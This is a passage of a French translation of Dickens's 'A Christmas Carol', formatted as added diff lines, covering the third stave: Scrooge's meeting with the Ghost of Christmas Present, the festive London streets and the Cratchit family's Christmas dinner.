+Il se sentit épuisé et dominé par un irrésistible besoin de
+dormir, puis bientôt il se trouva dans sa chambre à coucher. Alors
+il fit un dernier effort pour enfoncer encore davantage
+l'éteignoir, sa main se détendit, et il n'eut que le temps de
+rouler sur son lit avant de tomber dans un profond sommeil.
+
+
+
+Troisième couplet
+
+Le second des trois esprits
+
+Réveillé au milieu d'un ronflement d'une force prodigieuse, et
+s'asseyant sur son lit pour recueillir ses pensées, Scrooge n'eut
+pas besoin qu'on lui dise que l'horloge allait de nouveau sonner
+_une heure_. Il sentit de lui-même qu'il reprenait connaissance
+juste à point nommé pour se mettre en rapport avec le second
+messager qui lui serait envoyé par l'intervention de Jacob Marley.
+Mais trouvant très désagréable le frisson qu'il éprouvait en
+restant là à se demander lequel de ses rideaux tirerait ce nouveau
+spectre, il les tira tous les deux de ses propres mains, puis, se
+laissant retomber sur son oreiller, il tint l'oeil au guet tout
+autour de son lit, car il désirait affronter bravement l'esprit au
+moment de son apparition, et n'avait envie ni d'être assailli par
+surprise, ni de se laisser dominer par une trop vive émotion.
+
+Messieurs les esprits forts, habitués à ne douter de rien, qui se
+piquent d'être blasés sur tous les genres d'émotion, et de se
+trouver, à toute heure, à la hauteur des circonstances, expriment
+la vaste étendue de leur courage impassible en face des aventures
+imprévues, en se déclarant prêts à tout, depuis une partie de
+croix ou pile, jusqu'à une partie d'honneur (c'est ainsi, je
+crois, qu'on appelle l'homicide). Entre ces deux extrêmes, il se
+trouve, sans aucun doute, un champ assez spacieux, et une grande
+variété de sujets. Sans vouloir faire de Scrooge un matamore si
+farouche, je ne saurais m'empêcher de vous prier de croire qu'il
+était prêt aussi à défier un nombre presque infini d'apparitions
+étranges et fantastiques, et à ne se laisser étonner par quoi que
+ce fût en ce genre, depuis la vue d'un enfant au berceau, jusqu'à
+celle d'un rhinocéros!
+
+Mais, s'il s'attendait presque à tout, il n'était, par le fait,
+nullement préparé à ce qu'il n'y eût rien, et c'est pourquoi,
+quand l'horloge vint à sonner une heure, et qu'aucun fantôme ne
+lui apparut, il fut pris d'un frisson violent et se mit à trembler
+de tous ses membres. Cinq minutes, dix minutes, un quart d'heure
+se passèrent, rien ne se montra. Pendant tout ce temps, il demeura
+étendu sur son lit, où se réunissaient, comme en un point central,
+les rayons d'une lumière rougeâtre qui l'éclaira tout entier quand
+l'horloge annonça l'heure. Cette lumière toute seule lui causait
+plus d'alarmes qu'une douzaine de spectres, car il ne pouvait en
+comprendre ni la signification ni la cause, et parfois il
+craignait d'être en ce moment un cas intéressant de combustion
+spontanée, sans avoir au moins la consolation de le savoir. À la
+fin, cependant, il commença à penser, comme vous et moi l'aurions
+pensé d'abord (car c'est toujours la personne qui ne se trouve
+point dans l'embarras, qui sait ce qu'on aurait dû faire alors, et
+ce qu'elle aurait fait incontestablement); à la fin, dis-je, il
+commença à penser que le foyer mystérieux de cette lumière
+fantastique pourrait être dans la chambre voisine, d'où, en la
+suivant pour ainsi dire à la trace, on reconnaissait qu'elle
+semblait s'échapper. Cette idée s'empara si complètement de son
+esprit, qu'il se leva aussitôt tout doucement, mit ses pantoufles,
+et se glissa sans bruit du côté de la porte.
+
+Au moment où Scrooge mettait la main sur la serrure, une voix
+étrange l'appela par son nom et lui dit d'entrer. Il obéit.
+
+C'était bien son salon; il n'y avait pas le moindre doute à cet
+égard; mais son salon avait subi une transformation surprenante.
+Les murs et le plafond étaient si richement décorés de guirlandes
+de feuillage verdoyant, qu'on eût dit un bosquet véritable dont
+toutes les branches reluisaient de baies cramoisies. Les feuilles
+lustrées du houx, du gui et du lierre reflétaient la lumière,
+comme si on y avait suspendu une infinité de petits miroirs; dans
+la cheminée flambait un feu magnifique, tel que ce foyer morne et
+froid comme la pierre n'en avait jamais connu au temps de Scrooge
+ou de Marley, ni depuis bien des hivers. On voyait, entassés sur
+le plancher, pour former une sorte de trône, des dindes, des oies,
+du gibier de toute espèce, des volailles grasses, des viandes
+froides, des cochons de lait, des jambons, des aunes de saucisses,
+des pâtés de hachis, des plum-puddings, des barils d'huîtres, des
+marrons rôtis, des pommes vermeilles, des oranges juteuses, des
+poires succulentes, d'immenses gâteaux des rois et des bols de
+punch bouillant qui obscurcissaient la chambre de leur délicieuse
+vapeur. Un joyeux géant, superbe à voir, s'étalait à l'aise sur ce
+lit de repos; il portait à la main une torche allumée, dont la
+forme se rapprochait assez d'une corne d'abondance, et il l'éleva
+au-dessus de sa tête pour que sa lumière vînt frapper Scrooge,
+lorsque ce dernier regarda au travers de la porte entrebâillée.
+
+«Entrez! s'écria le fantôme. Entrez! N'ayez pas peur de faire plus
+ample connaissance avec moi, mon ami!»
+
+Scrooge entra timidement, inclinant la tête devant l'esprit. Ce
+n'était plus le Scrooge rechigné d'autrefois; et, quoique les yeux
+du spectre fussent doux et bienveillants, il baissait les siens
+devant lui.
+
+«Je suis l'esprit de Noël présent, dit le fantôme. Regardez-moi!»
+
+Scrooge obéit avec respect. Ce Noël-là était vêtu d'une simple
+robe, ou tunique, d'un vert foncé, bordée d'une fourrure blanche.
+Elle retombait si négligemment sur son corps, que sa large
+poitrine demeurait découverte, comme s'il eût dédaigné de chercher
+à se cacher ou à se garantir par aucun artifice. Ses pieds, qu'on
+pouvait voir sous les amples plis de cette robe, étaient nus
+pareillement; et, sur sa tête, il ne portait pas d'autre coiffure
+qu'une couronne de houx, semée çà et là de petits glaçons
+brillants. Les longues boucles de sa chevelure brune flottaient en
+liberté; elles étaient aussi libres que sa figure était franche,
+son oeil étincelant, sa main ouverte, sa voix joyeuse, ses
+manières dépouillées de toute contrainte et son air riant. Un
+antique fourreau était suspendu à sa ceinture, mais sans épée, et
+à demi rongé par la rouille.
+
+«Vous n'avez encore jamais vu mon semblable! s'écria l'esprit.
+
+-- Jamais, répondit Scrooge.
+
+-- Est-ce que vous n'avez jamais fait route avec les plus jeunes
+membres de ma famille; je veux dire (car je suis très jeune) mes
+frères aînés de ces dernières années? poursuivit le fantôme.
+
+-- Je ne le crois pas, dit Scrooge. J'ai peur que non. Est-ce que
+vous avez eu beaucoup de frères, esprit?
+
+-- Plus de dix-huit cents, dit le spectre.
+
+-- Une famille terriblement nombreuse, quelle dépense!» murmura
+Scrooge.
+
+Le fantôme de Noël présent se leva.
+
+«Esprit, dit Scrooge avec soumission, conduisez-moi où vous
+voudrez. Je suis sorti la nuit dernière malgré moi, et j'ai reçu
+une leçon qui commence à porter son fruit. Ce soir, si vous avez
+quelque chose à m'apprendre, je ne demande pas mieux que d'en
+faire mon profit.
+
+-- Touchez ma robe!»
+
+Scrooge obéit et se cramponna à sa robe: houx, gui, baies rouges,
+lierre, dindes, oies, gibier, volailles, jambon, viandes, cochons
+de lait, saucisses, huîtres, pâtés, puddings, fruits et punch,
+tout s'évanouit à l'instant. La chambre, le feu, la lueur
+rougeâtre, la nuit disparurent de même: ils se trouvèrent dans les
+rues de la ville, le matin de Noël, où les gens, sous l'impression
+d'un froid un peu vif, faisaient partout un genre de musique
+quelque peu sauvage, mais avec un entrain dont le bruit n'était
+pas sans charme, en raclant la neige qui couvrait les trottoirs
+devant leur maison, ou en la balayant de leurs gouttières, d'où
+elle tombait dans la rue à la grande joie des enfants ravis de la
+voir ainsi rouler en autant de petites avalanches artificielles.
+Les façades des maisons paraissaient bien noires et les fenêtres
+encore davantage, par le contraste qu'elles offraient avec la
+nappe de neige unie et blanche qui s'étendait sur les toits, et
+celle même qui recouvrait la terre, quoiqu'elle fût moins
+virginale; car la couche supérieure en avait été comme labourée en
+sillons profonds par les roues pesantes des charrettes et des
+voitures; ces ornières légères se croisaient et se recroisaient
+l'une l'autre des milliers de fois aux carrefours des principales
+rues, et formaient un labyrinthe inextricable de rigoles
+entremêlées, à travers la bourbe jaunâtre durcie sous sa surface,
+et l'eau congelée par le froid. Le ciel était sombre; les rues les
+plus étroites disparaissaient enveloppées dans un épais brouillard
+qui tombait en verglas et dont les atomes les plus pesants
+descendaient en une averse de suie, comme si toutes les cheminées
+de la Grande-Bretagne avaient pris feu, de concert, et se
+ramonaient elles-mêmes à coeur joie. Londres, ni son climat,
+n'avaient rien de bien agréable. Cependant on remarquait partout
+dehors un air d'allégresse, que le plus beau jour et le plus
+brillant soleil d'été se seraient en vain efforcés d'y répandre.
+
+En effet, les hommes qui déblayaient les toits paraissaient joyeux
+et de bonne humeur; ils s'appelaient d'une maison à l'autre, et de
+temps en temps échangeaient en plaisantant une boule de neige
+(projectile assurément plus inoffensif que maint sarcasme), riant
+de tout leur coeur quand elle atteignait le but, et de grand coeur
+aussi quand elle venait à le manquer.
+
+Les boutiques de marchands de volailles étaient encore à moitié
+ouvertes, celles des fruitiers brillaient de toute leur splendeur.
+Ici de gros paniers, ronds, au ventre rebondi, pleins de superbes
+marrons, s'étalant sur les portes, comme les larges gilets de ces
+bons vieux gastronomes s'étalent sur leur abdomen, semblaient
+prêts à tomber dans la rue, victimes de leur corpulence
+apoplectique; là, des oignons d'Espagne rougeâtres, hauts en
+couleur, aux larges flancs, rappelant par cet embonpoint heureux
+les moines de leur patrie, et lançant du haut de leurs tablettes,
+d'agaçantes oeillades aux jeunes filles qui passaient en jetant un
+coup d'oeil discret sur les branches de gui suspendues en
+guirlandes; puis encore, des poires, des pommes amoncelées en
+pyramides appétissantes; des grappes de raisin, que les marchands
+avaient eu l'attention délicate de suspendre aux endroits les plus
+exposés à la vue, afin que les amateurs se sentissent venir l'eau
+à la bouche, et pussent se rafraîchir gratis en passant; des tas
+de noisettes, moussues et brunes, faisant souvenir, par leur bonne
+odeur, d'anciennes promenades dans les bois, où l'on avait le
+plaisir d'enfoncer jusqu'à la cheville au milieu des feuilles
+sèches; des _biffins_ de Norfolk, dodues et brunes, qui faisaient
+ressortir la teinte dorée des oranges et des citrons, et
+semblaient se recommander avec instance par leur volume et leur
+apparence juteuse, pour qu'on les emportât dans des sacs de
+papier, afin de les manger au dessert. Les poissons d'or et
+d'argent, eux-mêmes, exposés dans des bocaux parmi ces fruits de
+choix, quoique appartenant à une race triste et apathique,
+paraissaient s'apercevoir, tout poissons qu'ils étaient, qu'il se
+passait quelque chose d'extraordinaire, allaient et venaient,
+ouvrant la bouche tout autour de leur petit univers, dans un état
+d'agitation hébétée.
+
+Et les épiciers donc! oh! les épiciers! leurs boutiques étaient
+presque fermées, moins peut-être un volet ou deux demeurés
+ouverts; mais que de belles choses se laissaient voir à travers
+ces étroites lacunes! Ce n'était pas seulement le son joyeux des
+balances retombant sur le comptoir, ou le craquement de la ficelle
+sous les ciseaux qui la séparent vivement de sa bobine pour
+envelopper les paquets, ni le cliquetis incessant des bottes de
+fer-blanc pour servir le thé ou le moka aux pratiques. Pan, pan,
+sur le comptoir; parais, disparais, elles voltigeaient entre les
+mains des garçons comme les gobelets d'un escamoteur; ce n'étaient
+pas seulement les parfums mélangés du thé et du café si agréables
+à l'odorat, les raisins secs si beaux et si abondants, les amandes
+d'une si éclatante blancheur, les bâtons de cannelle si longs et
+si droits, les autres épices si délicieuses, les fruits confits si
+bien glacés et tachetés de sucre candi, que leur vue seule
+bouleversait les spectateurs les plus indifférents et les faisait
+sécher d'envie; ni les figues moites et charnues, ou les pruneaux
+de Tours et d'Agen, à la rougeur modeste, au goût acidulé, dans
+leurs corbeilles richement décorées, ni enfin toutes ces bonnes
+choses ornées de leur parure de fête; mais il fallait voir les
+pratiques, si empressées et si avides de réaliser les espérances
+du jour, qu'elles se bousculaient à la porte, heurtaient
+violemment l'un contre l'autre leurs paniers à provisions,
+oubliaient leurs emplettes sur le comptoir, revenaient les
+chercher en courant, et commettaient mille erreurs semblables de
+la meilleure humeur du monde, tandis que l'épicier et ses garçons
+montraient tant de franchise et de rondeur, que les coeurs de
+cuivre poli avec lesquels ils tenaient attachées par derrière
+leurs serpillières, étaient l'image de leurs propres coeurs
+exposés au public pour passer une inspection générale..., de beaux
+coeurs dorés, des coeurs à prendre, si vous voulez,
+mesdemoiselles!
+
+Mais bientôt les cloches appelèrent les bonnes gens à l'église ou
+à la chapelle; ils sortirent par troupes pour s'y rendre,
+remplissant les rues, dans leurs plus beaux habits et avec leurs
+plus joyeux visages. Au même moment, d'une quantité de petites
+rues latérales, de passages et de cours sans nom, s'élancèrent une
+multitude innombrable de personnes, portant leur dîner chez le
+boulanger pour le mettre au four. La vue de ces pauvres gens
+chargés de leurs galas, parut beaucoup intéresser l'esprit, car il
+se tint, avec Scrooge à ses côtés, sur le seuil d'une boulangerie,
+et, soulevant le couvercle des plats à mesure qu'ils passaient, il
+arrosait d'encens leur dîner avec sa torche. C'était, en vérité,
+une torche fort extraordinaire que la sienne, car, une fois ou
+deux, quelques porteurs de dîners s'étant adressé des paroles de
+colère pour s'être heurtés un peu rudement dans leur empressement,
+il en fit tomber sur eux quelques gouttes d'eau; et aussitôt ces
+hommes reprirent toute leur bonne humeur, s'écriant que c'était
+une honte de se quereller un jour de Noël. Et rien de plus vrai!
+mon Dieu! rien de plus vrai!
+
+Peu à peu les cloches se turent, les boutiques de boulangers se
+fermèrent, mais il y avait comme un avant-goût réjouissant de tous
+ces dîners et des progrès de leur cuisson dans la vapeur humide
+qui dégelait en l'air au-dessus de chaque four, dont le carreau
+fumait comme s'il cuisait avec les plats.
+
+«Y a-t-il donc une saveur particulière dans ces gouttes que vous
+faites tomber de votre torche en la secouant? demanda Scrooge.
+
+-- Certainement, il y a ma saveur, à moi.
+
+-- Est-ce qu'elle peut se communiquer à toute espèce de dîner
+aujourd'hui? demanda Scrooge.
+
+-- À tout dîner offert cordialement, et surtout aux plus pauvres.
+
+-- Pourquoi aux plus pauvres?
+
+-- Parce que ce sont ceux qui en ont le plus besoin.
+
+-- Esprit, dit Scrooge après un instant de réflexion, je m'étonne
+alors que, parmi tous les êtres qui remplissent les mondes situés
+autour de nous, des esprits comme vous se soient chargés d'une
+commission aussi peu charitable: celle de priver ces pauvres gens
+des occasions qui s'offrent à eux de prendre un plaisir innocent.
+
+-- Moi! s'écria l'esprit.
+
+-- Oui, puisque vous les privez du moyen de dîner tous les huit
+jours, et cela le seul jour souvent où l'on puisse dire qu'ils
+dînent, continua Scrooge. N'est-ce pas vrai?
+
+-- Moi! s'écria l'esprit.
+
+-- Certainement; n'est-ce pas vous qui cherchez à faire fermer ces
+fours le jour du sabbat? dit Scrooge. Et cela ne revient-il pas au
+même?
+
+-- Moi! je cherche cela! s'écria l'esprit.
+
+-- Pardonnez-moi, si je me trompe. Cela se fait en votre nom ou,
+du moins, au nom de votre famille, dit Scrooge.
+
+-- Il y a, répondit l'esprit, sur cette terre où vous habitez, des
+hommes qui ont la prétention de nous connaître, et qui, sous notre
+nom, ne font que servir leurs passions coupables, l'orgueil, la
+méchanceté, la haine, l'envie, la bigoterie et l'égoïsme; mais ils
+sont aussi étrangers à nous et à toute notre famille que s'ils
+n'avaient jamais vu le jour. Rappelez-vous cela, et une autre fois
+rendez-les responsables de leurs actes, mais non pas nous.»
+
+Scrooge le lui promit; alors ils se transportèrent, invisibles
+comme ils l'avaient été jusque-là, dans les faubourgs de la ville.
+Une faculté remarquable du spectre (Scrooge l'avait observé déjà
+chez le boulanger) était de pouvoir, nonobstant sa taille
+gigantesque, s'arranger de toute place, sans être gêné, en sorte
+que, sous le toit le plus bas, il conservait la même grâce, la
+même majesté surnaturelle qu'il eût pu le faire sous la voûte la
+plus élevée d'un palais.
+
+Peut-être était-ce le plaisir qu'éprouvait le bon esprit à faire
+montre de cette faculté singulière, ou bien encore la tendance de
+sa nature bienveillante, généreuse, cordiale et sa sympathie pour
+les pauvres qui le conduisit tout droit chez le commis de Scrooge;
+c'est là, en effet, qu'il porta ses pas, emmenant avec lui
+Scrooge, toujours cramponné à sa robe. Sur le seuil de la porte,
+l'esprit sourit et s'arrêta pour bénir, en l'aspergeant de sa
+torche, la demeure de Bob Cratchit. Voyez! Bob n'avait lui-même
+que quinze _Bob[2]_ par semaine; chaque samedi il n'empochait que
+quinze exemplaires de son nom de baptême, et pourtant le fantôme
+de Noël présent n'en bénit pas moins sa petite maison composée de
+quatre chambres!
+
+Alors se leva mistress Cratchit, la femme de Cratchit, pauvrement
+vêtue d'une robe retournée, mais, en revanche, toute parée de
+rubans à bon marché, de ces rubans qui produisent, ma foi, un joli
+effet, pour la bagatelle de douze sous. Elle mettait le couvert,
+aidée de Belinda Cratchit, la seconde de ses filles, tout aussi
+enrubannée que sa mère, tandis que maître Pierre Cratchit
+plongeait une fourchette dans la marmite remplie de pommes de
+terre et ramenait jusque dans sa bouche les coins de son
+monstrueux col de chemise, pas précisément _son_ col de chemise,
+car c'était celle de son père; mais Bob l'avait prêtée ce jour-là,
+en l'honneur de Noël, à son héritier présomptif, lequel, heureux
+de se voir si bien attifé, brûlait d'aller montrer son linge dans
+les parcs fashionables. Et puis deux autres petits Cratchit,
+garçon et fille, se précipitèrent dans la chambre en s'écriant
+qu'ils venaient de flairer l'oie, devant la boutique du boulanger,
+et qu'ils l'avaient bien reconnue pour la leur. Ivres d'avance à
+la pensée d'une bonne sauce à la sauge et à l'oignon, les petits
+gourmands se mirent à danser de joie autour de la table, et
+portèrent aux nues maître Pierre Cratchit, le cuisinier du jour,
+tandis que ce dernier (pas du tout fier, quoique son col de
+chemise fût si copieux qu'il menaçait de l'étouffer) soufflait le
+feu, tant et si bien que les pommes de terre en retard
+rattrapèrent le temps perdu et vinrent taper, en bouillant, au
+couvercle de la casserole, pour avertir qu'elles étaient bonnes à
+retirer et à peler.
+
+«Qu'est-ce qui peut donc retenir votre excellent père? dit
+mistress Cratchit. Et votre frère Tiny Tim? et Martha? Au dernier
+Noël, elle était déjà arrivée depuis une demi-heure!
+
+-- La voici, Martha, mère! s'écria une jeune fille qui parut en
+même temps.
+
+-- Voici Martha, mère! répétèrent les deux petits Cratchit.
+Hourra! si vous saviez comme il y a une belle oie, Martha!
+
+-- Ah! chère enfant, que le bon Dieu vous bénisse! Comme vous
+venez tard! dit mistress Cratchit l'embrassant une douzaine de
+fois et la débarrassant de son châle et de son chapeau avec une
+tendresse empressée.
+
+-- C'est que nous avions beaucoup d'ouvrage à terminer hier soir,
+ma mère, répondit la jeune fille, et, ce matin, il a fallu le
+livrer!
+
+-- Bien! bien! n'y pensons plus, puisque vous voilà, dit mistress
+Cratchit. Allons! asseyez-vous près du feu et chauffez-vous, ma
+chère enfant!
+
+-- Non, non! voici papa qui vient, crièrent les deux petits
+Cratchit qu'on voyait partout en même temps. Cache-toi, Martha,
+cache-toi!»
+
+Et Martha se cacha; puis entra le petit Bob, le père Bob avec son
+cache-nez pendant de trois pieds au moins devant lui, sans compter
+la frange; ses habits usés jusqu'à la corde étaient raccommodés et
+brossés soigneusement, pour leur donner un air de fête; Bob
+portait Tiny Tim sur son épaule. Hélas! le pauvre Tiny Tim! il
+avait une petite béquille et une mécanique en fer pour soutenir
+ses jambes.
+
+«Eh bien! où est notre Martha? s'écria Bob Cratchit en jetant les
+yeux tout autour de lui.
+
+-- Elle ne vient pas, répondit mistress Cratchit.
+
+-- Elle ne vient pas? dit Bob frappé d'un abattement soudain, et
+perdant, en un clin d'oeil, tout cet élan de gaieté avec lequel il
+avait porté Tiny Tim depuis l'église, toujours courant comme son
+dada, un vrai cheval de course. Elle ne vient pas! un jour de
+Noël!»
+
+Martha ne put supporter de le voir ainsi contrarié, même pour
+rire; aussi n'attendit-elle pas plus longtemps pour sortir de sa
+cachette, derrière la porte du cabinet, et courut-elle se jeter
+dans ses bras, tandis que les deux petits Cratchit s'emparèrent de
+Tiny Tim et le portèrent dans la buanderie, afin qu'il pût
+entendre le pudding chanter dans la casserole.
+
+«Et comment s'est comporté le petit Tiny Tim? demanda mistress
+Cratchit après qu'elle eût raillé Bob de sa crédulité et que Bob
+eût embrassé sa fille tout à son aise.
+
+-- Comme un vrai bijou, dit Bob, et mieux encore. Obligé qu'il est
+de demeurer si longtemps assis tout seul, il devient réfléchi, et
+on ne saurait croire toutes les idées qui lui passent par la tête.
+Il me disait, en revenant, qu'il espérait avoir été remarqué dans
+l'église par les fidèles, parce qu'il est estropié, et que les
+chrétiens doivent aimer, surtout un jour de Noël, à se rappeler
+celui qui a fait marcher les boiteux et voir les aveugles.»
+
+La voix de Bob tremblait en répétant ces mots; elle trembla plus
+encore quand il ajouta que Tiny Tim devenait chaque jour plus fort
+et plus vigoureux.
+
+On entendit retentir sur le plancher son active petite béquille,
+et, à l'instant, Tiny Tim rentra, escorté par le petit frère et la
+petite soeur jusqu'à son tabouret, près du feu. Alors Bob,
+retroussant ses manches par économie, comme si, le pauvre garçon!
+elles pouvaient s'user davantage, prit du genièvre et des citrons
+et en composa dans un bol une sorte de boisson chaude, qu'il fit
+mijoter sur la plaque après l'avoir agitée dans tous les sens;
+pendant ce temps, maître Pierre et les deux petits Cratchit, qu'on
+était sûr de trouver partout, allèrent chercher l'oie, qu'ils
+rapportèrent bientôt en procession triomphale.
+
+À voir le tumulte causé par cette apparition, on aurait dit qu'une
+oie est le plus rare de tous les volatiles, un phénomène emplumé,
+auprès duquel un cygne noir serait un lieu commun; et, en vérité,
+une oie était bien en effet une des sept merveilles dans cette
+pauvre maison. Mistress Cratchit fit bouillir le jus, préparé
+d'avance, dans une petite casserole; maître Pierre écrasa les
+pommes de terre avec une vigueur incroyable; miss Belinda sucra la
+sauce aux pommes; Martha essuya les assiettes chaudes; Bob fit
+asseoir Tiny Tim près de lui à l'un des coins de la table; les
+deux petits Cratchit placèrent des chaises pour tout le monde,
+sans s'oublier eux-mêmes, et, une fois en faction à leur poste,
+fourrèrent leurs cuillers dans leur bouche pour ne point céder à
+la tentation de demander de l'oie avant que vînt leur tour d'être
+servis.
+
+Enfin, les plats furent mis sur la table, et l'on dit le
+_Benedicite_, suivi d'un moment de silence général, lorsque
+mistress Cratchit, promenant lentement son regard le long du
+couteau à découper, se prépara à le plonger dans les flancs de la
+bête; mais à peine l'eût-elle fait, à peine la farce si longtemps
+attendue se fût-elle précipitée par cette ouverture, qu'un murmure
+de bonheur éclata tout autour de la table, et Tiny Tim lui-même,
+excité par les deux petits Cratchit, frappa sur la table avec le
+manche de son couteau, et cria d'une voix faible: «Hourra!»
+
+Jamais on ne vit oie pareille! Bob dit qu'il ne croyait pas qu'on
+en eût jamais fait cuire une semblable. Sa tendreté, sa saveur, sa
+grosseur, son bon marché, furent le texte commenté par
+l'admiration universelle; avec la sauce aux pommes et la purée de
+pommes de terre, elle suffit amplement pour le dîner de toute la
+famille. «En vérité, dit mistress Cratchit, apercevant un petit
+atome d'os resté sur un plat, on n'a pas seulement pu manger
+tout», et pourtant tout le monde en avait eu à bouche que veux-tu;
+et les deux petits Cratchit, en particulier, étaient barbouillés
+jusqu'aux yeux de sauce à la sauge et à l'oignon. Mais alors, les
+assiettes ayant été changées par miss Belinda, mistress Cratchit
+sortit seule, trop émue pour supporter la présence de témoins,
+afin d'aller chercher le pudding et de l'apporter sur la table.
+
+Supposez qu'il soit manqué! supposez qu'il se brise quand on le
+retournera! supposez que quelqu'un ait sauté par-dessus le mur de
+l'arrière-cour et l'ait volé pendant qu'on se régalait de l'oie; à
+cette supposition, les deux petits Cratchit devinrent blêmes! Il
+n'y avait pas d'horreurs dont on ne fît la supposition.
+
+Oh! oh! quelle vapeur épaisse! Le pudding était tiré du chaudron.
+Quelle bonne odeur de lessive! (c'était le linge qui
+l'enveloppait). Quel mélange d'odeurs appétissantes, qui
+rappellent le restaurateur, le pâtissier de la maison d'à côté et
+la blanchisseuse sa voisine! C'était le pudding. Après une demi-
+minute à peine d'absence, mistress Cratchit rentrait, le visage
+animé, mais souriante et toute glorieuse, avec le pudding,
+semblable à un boulet de canon tacheté, si dur, si ferme, nageant
+au milieu d'un quart de pinte d'eau-de-vie enflammée et surmonté
+de la branche de houx consacrée à Noël.
+
+Oh! quel merveilleux pudding! Bob Cratchit déclara, et cela d'un
+ton calme et sérieux, qu'il le regardait comme le chef-d'oeuvre de
+mistress Cratchit depuis leur mariage. Mistress Cratchit répondit
+qu'à présent qu'elle n'avait plus ce poids sur le coeur, elle
+avouerait qu'elle avait eu quelques doutes sur la quantité de
+farine. Chacun eut quelque chose à en dire, mais personne ne
+s'avisa de dire, s'il le pensa, que c'était un bien petit pudding
+pour une aussi nombreuse famille. Franchement, c'eût été bien
+vilain de le penser ou de le dire. Il n'y a pas de Cratchit qui
+n'en eût rougi de honte.
+
+Enfin, le dîner achevé, on enleva la nappe, un coup de balai fut
+donné au foyer et le feu ravivé. Le grog fabriqué par Bob ayant
+été goûté et trouvé parfait, on mit des pommes et des oranges sur
+la table et une grosse poignée de marrons sous les cendres. Alors
+toute la famille se rangea autour du foyer en cercle, comme disait
+Bob Cratchit, il voulait dire en demi-cercle: on mit près de Bob
+tous les cristaux de la famille, savoir: deux verres à boire et un
+petit verre à servir la crème dont l'anse était cassée. Qu'est-ce
+que cela fait? Ils n'en contenaient pas moins la liqueur
+bouillante puisée dans le bol tout aussi bien que des gobelets
+d'or auraient pu le faire, et Bob la servit avec des yeux
+rayonnants de joie, tandis que les marrons se fendaient avec
+fracas et pétillaient sous la cendre. Alors Bob proposa ce toast:
+
+«Un joyeux Noël pour nous tous, mes amis! Que Dieu nous bénisse!»
+
+La famille entière fit écho.
+
+«Que Dieu bénisse chacun de nous!», dit Tiny Tim, le dernier de
+tous.
+
+Il était assis très près de son père sur son tabouret. Bob tenait
+sa petite main flétrie dans la sienne, comme s'il eût voulu lui
+donner une marque plus particulière de sa tendresse et le garder à
+ses côtés de peur qu'on ne vînt le lui enlever.
+
+«Esprit, dit Scrooge avec un intérêt qu'il n'avait jamais éprouvé
+auparavant, dites-moi si Tiny Tim vivra.
+
+-- Je vois une place vacante au coin du pauvre foyer, répondit le
+spectre, et une béquille sans propriétaire qu'on garde
+soigneusement. Si mon successeur ne change rien à ces images,
+l'enfant mourra.
+
+-- Non, non, dit Scrooge. Oh! non, bon esprit! dites qu'il sera
+épargné.
+
+-- Si mon successeur ne change rien à ces images, qui sont
+l'avenir, reprit le fantôme, aucun autre de ma race ne le trouvera
+ici. Eh bien! après! s'il meurt, il diminuera le superflu de la
+population.»
+
+Scrooge baissa la tête lorsqu'il entendit l'esprit répéter ses
+propres paroles, et il se sentit pénétré de douleur et de
+repentir.
+
+«Homme, dit le spectre, si vous avez un coeur d'homme et non de
+pierre, cessez d'employer ce jargon odieux jusqu'à ce que vous
+ayez appris ce que c'est que ce superflu et où il se trouve.
+Voulez-vous donc décider quels hommes doivent vivre, quels hommes
+doivent mourir? Il se peut qu'aux yeux de Dieu vous soyez moins
+digne de vivre que des millions de créatures semblables à l'enfant
+de ce pauvre homme. Grand Dieu! entendre l'insecte sur la feuille
+déclarer qu'il y a trop d'insectes vivants parmi ses frères
+affamés dans la poussière!»
+
+Scrooge s'humilia devant la réprimande de l'esprit, et, tout
+tremblant, abaissa ses regards vers la terre. Mais il les releva
+bientôt en entendant prononcer son nom.
+
+«À M. Scrooge! disait Bob; je veux vous proposer la santé de
+M. Scrooge, le patron de notre petit gala.
+
+-- Un beau patron, ma foi! s'écria mistress Cratchit, rouge
+d'émotion; je voudrais le tenir ici, je lui en servirais un gala
+de ma façon, et il faudrait qu'il eût bon appétit pour s'en
+régaler!
+
+-- Ma chère, reprit Bob...; les enfants!... le jour de Noël!
+
+-- Il faut, en effet, que ce soit le jour de Noël, continua-t-
+elle, pour qu'on boive à la santé d'un homme aussi odieux, aussi
+avare, aussi dur et aussi insensible que M. Scrooge. Vous savez
+s'il est tout cela, Robert! Personne ne le sait mieux que vous,
+pauvre ami!
+
+-- Ma chère, répondit Bob doucement... le jour de Noël.
+
+-- Je boirai à sa santé pour l'amour de vous et en l'honneur de ce
+jour, dit mistress Cratchit, mais non pour lui. Je lui souhaite
+donc une longue vie, joyeux Noël et heureuse année! Voilà-t-il pas
+de quoi le rendre bien heureux et bien joyeux! J'en doute.»
+
+Les enfants burent à la santé de M. Scrooge après leur mère;
+c'était la première chose qu'ils ne fissent pas ce jour-là de bon
+coeur; Tiny Tim but le dernier, mais il aurait bien donné son
+toast pour deux sous. Scrooge était l'ogre de la famille; la
+mention de son nom jeta sur cette petite fête un sombre nuage qui
+ne se dissipa complètement qu'après cinq grandes minutes.
+
+Ce temps écoulé, ils furent dix fois plus gais qu'avant, dès qu'on
+en eut entièrement fini avec cet épouvantail de Scrooge. Bob
+Cratchit leur apprit qu'il avait en vue pour Master Pierre une
+place qui lui rapporterait, en cas de réussite, cinq schellings
+six pence par semaine. Les deux petits Cratchit rirent comme des
+fous en pensant que Pierre allait entrer dans les affaires, et
+Pierre lui-même regarda le feu d'un air pensif entre les deux
+pointes de son col, comme s'il se consultait déjà pour savoir
+quelle sorte de placement il honorerait de son choix quand il
+serait en possession de ce revenu embarrassant.
+
+Martha, pauvre apprentie chez une marchande de modes, raconta
+alors quelle espèce d'ouvrage elle avait à faire, combien d'heures
+elle travaillait sans s'arrêter, et se réjouit d'avance à la
+pensée qu'elle pourrait demeurer fort tard au lit le lendemain
+matin, jour de repos passé à la maison. Elle ajouta qu'elle avait
+vu, peu de jours auparavant, une comtesse et un lord, et que le
+lord était bien à peu près de la taille de Pierre; sur quoi Pierre
+tira si haut son col de chemise, que vous n'auriez pu apercevoir
+sa tête si vous aviez été là. Pendant tout ce temps, les marrons
+et le pot au grog circulaient à la ronde, puis Tiny Tim se mit à
+chanter une ballade sur un enfant égaré au milieu des neiges; Tiny
+Tim avait une petite voix plaintive et chanta sa romance à
+merveille, ma foi!
+
+Il n'y avait rien dans tout cela de bien aristocratique. Ce
+n'était pas une belle famille; ils n'étaient bien vêtus ni les uns
+ni les autres; leurs souliers étaient loin d'être imperméables;
+leurs habits n'étaient pas cossus; Pierre pouvait bien même avoir
+fait la connaissance, j'en mettrais ma main au feu, avec la
+boutique de quelque fripier. Cependant ils étaient heureux,
